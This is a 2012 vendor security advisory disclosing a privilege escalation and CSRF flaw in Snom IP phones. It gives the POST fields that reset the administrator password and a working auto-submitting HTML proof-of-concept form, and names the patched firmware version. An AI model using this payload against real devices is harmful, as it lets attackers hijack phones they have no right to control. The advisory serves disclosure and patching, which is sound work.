Sense of Security	Authorisation. Jason Edelstein
	Release date. 23 February 2012.

Sense of Security – Security Advisory – SOS-12-001.

Snom IP Phone Privilege Escalation Vulnerability.

23 February 2012.

Snom IP Phone Privilege Escalation - Security Advisory - SOS-12-001

Release Date.	23-Feb-2012
Last Update.	-
Vendor Notification Date.	27-Jan-2012
Product.	Snom IP Phone series
Platform.	Hardware
Affected versions.	All versions prior to v8.4.35
Severity Rating.	High
Impact.	Privilege escalation
Attack Vector.	Remote without authentication
Solution Status.	Vendor patch
CVE reference.	Not yet assigned

Details.

The privilege escalation is possible because the form used to login as the admin user is the same form for resetting the admin password, and the user is not required to enter their old password when changing their password. This form is also vulnerable to Cross-Site Request Forgery (CSRF).

This issue is exploitable on the following pages:

Version 7, 8: http://x.x.x.x/advanced_network.htm

Version 6 and below: http://x.x.x.x/advanced.htm

Where an attacker can reset the Administrator password by removing all password attempt variables and adding the following POST data:

```
admin_mode=on
admin_mode_password=newpass
admin_mode_password_confirm=newpass
Settings=Save
```

hidden_tag=(leave as the current post variable if CSRF protection is enabled in firmware versions 7.1.33 and above)

After sending the request the attacker can now login as the Administrator with the credentials specified in the above request.

Proof of Concept.

```
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action=" http://x.x.x.x/advanced_network.htm"
name="form" method="POST">
<input type="text" name="admin_mode" value="on">
<input type="text" name="admin_mode_password" value="newpass">
<input type="text" name="admin_mode_password_confirm"
value="newpass">
<input type="text" name="Settings" value="save">
</form>
</body>
</html>
```

Solution.

Download the latest firmware version 8.4.35 for the Snom phone from:
http://wiki.snom.com/Firmware

Discovered by.

Nathaniel Carew from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

	Authorisation. Jason Edelstein
	Release date. 23 February 2012.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-12-001.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php